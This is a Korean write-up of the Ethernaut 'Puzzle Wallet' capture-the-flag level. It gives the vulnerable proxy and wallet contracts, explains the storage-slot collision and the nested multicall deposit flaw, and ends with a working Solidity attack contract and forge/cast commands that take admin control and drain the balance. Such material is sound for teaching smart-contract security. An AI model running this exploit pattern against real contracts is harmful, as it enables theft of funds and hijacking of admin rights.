[ethernaut] Puzzle Wallet

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

이 문제는 Proxy Contract에 admin이 player가 되면 풀리는 문제이다. 이 문제를 풀기 위해서는 Proxy Contract에 대한 개념을 알고 있어야 하는데 간단히 설명하고 넘어가겠다.

Proxy Contract ?

블록체인 특성상 스마트 컨트렉트를 한번 배포하고 나면 해당 스마트 컨트렉트를 수정할 수 없다. 만약, 취약점이나 잘못 구현된 부분이 있을 경우 재배포를 하고 새로운 주소를 다시 알려야한다.

Proxy Contract는 이를 개선하기 위해 나온 방안이다. Proxy Contract는 관리자가 존재하고 관리자는 Proxy Contract가 가리키는 컨트렉트의 주소를 설정할 수 있다. 사용자는 Proxy Contract에 요청을 보내면 Proxy Contract가 가리키는 컨트렉트에 사용자의 요청이 실행되는 구조이다. 이때 실행은 일반 call이 아니라 delegatecall을 이용하여 Proxy Contract에 storage에 저장하기 때문에 이후에 재배포하여 주소를 바꾸더라도 문제가 발생하지 않는다.

그럼 이런 의문이 들 수 있다. Proxy Contract로 특정 slot에 contract address가 저장되어 있고 거기로 delegatecall을 요청하는 것은 알겠는데 해당 컨트렉트에 interface도 존재하지 않은데 어떻게 호출할 수 있지? 이는 fallback()을 이용하여 처리한다. fallback()에서 msg.data를 가리키고 있는 컨트렉트에 delegatecall을 하여 실행된다.

취약점

• delegatecall은 호출한 컨트렉트의 storage를 사용하는데 호출되는 puzzlewallet 컨트렉트에 owner, maxBalance 와 proxy 컨트렉트에 pendingAdmin, admin 이 겹쳐서 사용될 수 있음. 즉, pendingAdmin = owner, maxBalance = admin
• multicall API에서 address(this).delegatecall을 실행하는데 multicall에서 multicall을 호출하여 deposit()을 여러번 수행하여 msg.value를 여러번 사용하여 balances[msg.sender] 값을 늘릴 수 있음

우리의 목표는 admin을 우리의 주소로 덮는 것이다. 위 취약점에서 설명했듯이 pendingAdmin을 저장하면 proxy contract에서는 admin가 저장된 slot에 덮어 씌워질 것이다. 즉, setMaxBalance(uint256)을 proxy contract에서 호출하게 하여 admin를 우리의 주소로 덮을 수 있다. 시나리오는 다음과 같다.

시나리오

• proposeNewAdmin를 호출하여 puzzlewallet에 owner 권한을 가져온다. -> puzzlewallet에서 사용되는 owner가 proxy contract에서 puzzlewallet에 function을 호출하면 pendingAdmin slot에 접근하여 검증하기 때문이다.
• 이제 puzzlewallet에 owner가 되었으니 addToWhitelist를 호출하여 whitelist를 추가한다.
• proxy contract에 balance를 0으로 만들어야 setMaxBalance를 호출하여 admin을 덮을 수 있기 때문에 multicall을 deposit() 한번, multicall -> deposit을 호출하게 하여 실제로 보내는 msg.value는 0.001 ether 이지만 이를 검증하지 않는 점을 이용하여 balances[msg.sender]를 0.002 ether로 만든다.
• execute를 이용하여 proxy contract에 존재하는 0.002 ether를 전부 빼낸다.
• setMaxBalance를 호출하여 admin을 내 주소로 덮는다.

이 시나리오를 기반으로 컨트렉트를 작성하였다. 다음과 같다.

contract attack {
    PuzzleProxy public target = PuzzleProxy(0x35512d69b77dd940F0f4f839D36747bEeAF2E6ED);
    bytes[] public multicall_data;
    bytes[] public deposit_selector;

    constructor() payable
    {
        
    }

    function atk() public {
        target.proposeNewAdmin(address(this));  
        target.addToWhitelist(address(this));
        deposit_selector.push(abi.encodeWithSelector(target.deposit.selector));
        multicall_data.push(abi.encodeWithSelector(target.deposit.selector));
        multicall_data.push(abi.encodeWithSelector(target.multicall.selector, deposit_selector));
        multicall_data.push(abi.encodeWithSelector(target.execute.selector, address(0x0), 0.002 ether, ""));
        target.multicall{value: 0.001 ether}(multicall_data);
        target.setMaxBalance(uint256(uint160(tx.origin)));
    }
}

forge create --rpc-url $G_RPC --private-key $P_KEY src/Exploit.sol:attack --value 0.001ether

cast send --rpc-url $G_RPC --private-key $P_KEY $DEPLOY_ADDR "atk()"

이렇게 문제를 해결할 수 있었다.